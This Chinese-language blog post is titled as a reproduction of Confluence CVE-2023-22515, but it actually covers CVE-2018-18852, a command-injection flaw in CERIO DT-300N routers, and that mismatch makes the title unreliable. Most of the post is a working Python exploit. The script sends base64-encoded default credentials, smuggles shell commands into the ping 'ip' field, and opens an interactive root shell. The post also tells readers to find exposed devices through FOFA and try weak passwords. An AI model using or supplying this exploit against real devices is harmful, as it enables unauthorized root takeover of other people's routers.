Confluence CVE-2023-22515漏洞复现

前言

这个洞出来也有几天了，详情自行google。这里我手动撸了一个py3的脚本，github上的exp是py2写的

正文

漏洞详情：CVE - CVE-2018-18852
exp：GitHub - hook-s3c/CVE-2018-18852: CERIO RCE CVE-2018-18852, authenticated (vendor defaults) web-based RCE as root user.
利用方法：上fofa搜关键字：CERIO DT-300N，尝试弱口令，然后如果是弱口令的话扔exp里面执行
声明：如果你想蹲监的话，本人不负责

exp脚本分析

1.首先判断是cerio的那个版本
2.确定版本后获取PID值
3.构造一个payload远程执行命令

随便找一个是弱口令的IP

代码如下：

#author:九世
#time:2019/1/30

import requests
import json
import base64

class Demo:
    def __init__(self,headers,url,payload,url2):
        self.headers=headers
        self.url=url
        self.payload=payload
        self.url2=url2

    def requet(self):
        ver = 'DT-300N-NGS-M'
        ver2='DT-300N'
        version=''
        vurl=''
        rqt=requests.post(url=self.url,headers=self.headers,data=self.payload)
        nurl=''
        nersion=''
        if rqt.status_code==requests.codes.ok:
            print('[+] Router version number is {}'.format(ver))
            while True:
                rqt = requests.post(url=self.url, headers=self.headers, data=self.payload)
                nurl+=rqt.url
                nersion+=ver
                nary=json.loads(rqt.content)
                cmd = input('command：')
                payload = {'ip': '127.0.0.1;' + 'echo "[[[";' + cmd, 'pid': nary['pid'], 'Times': 1}
                self.command(self.url, headers, payload,nersion)

        elif rqt.status_code==requests.codes.not_found: #判断状态码是否为404
            print('[-] Router version number is not {}'.format(ver))
            rqts=requests.post(url=self.url2,headers=headers,data=self.payload)
            if rqts.status_code==requests.codes.ok:
                print('[+] Router version number is {}'.format(ver2))
                while True:
                    rqts = requests.post(url=self.url2, headers=headers, data=self.payload)
                    version+=ver2
                    vurl+=rqts.url
                    vary=json.loads(rqts.content)
                    cmd=input('command：')
                    payload = {'ip': '127.0.0.1;' + 'echo "[[[";' + cmd, 'pid': vary, 'Times': 1}
                    self.command(self.url2,headers,payload,version)
            elif rqts.status_code==requests.codes.not_found:
                print('[-] Router version number is not {}'.format(ver2))
                exit()
            elif rqts.status_code==requests.codes.unauthorized:
                print('[-] Auth is invalid, try other creds')
                exit()

    def command(self,url,header,data,ver):
        rsv=requests.post(url=url,headers=header,data=data)
        if ver=='DT-300N':
            print(rsv.text.split('/html')[1])
        else:
            print(rsv.text.split('[[[')[1])
if __name__ == '__main__':
    print('[&]')
    print('[!] CERIO DT-300N-NGS-M\n[!] CERIO DT-300N')
    print('')
    t=''
    path='/cgi-bin/main.cgi?cgi=PING&mode=9'
    path2='/cgi-bin/Save.cgi?cgi=PING'
    user=input('host:').strip()
    ports=input('port:').strip()
    username=input('creds:').strip()
    creds=bytes(base64.b64encode(bytes(username,encoding='utf-8'))).decode('utf-8')
    if ports in '443':
        t+='https://'
    else:
        t+='http://'


    urls=t+user+':'+ports+path
    urls2=t+user+':'+ports+path2
    payload={'cgi':'PING','mode':9}
    headers={'content-type': 'application/json', 'Host': user, 'Accept-Encoding': 'gzip, deflate','Content-Length': '0', 'Connection': 'keep-alive', 'Authorization': 'Basic {}'.format(creds)}
    obj=Demo(headers=headers,payload=payload,url=urls,url2=urls2)
    obj.requet()

测试：

脚本地址：python/CVE-2018-18852 at master · 422926799/python · GitHub

转载请声明：转自422926799.github.io

---

转载请注明来源，欢迎对文章中的引用来源进行考证，欢迎指出任何有错误或不够清晰的表达。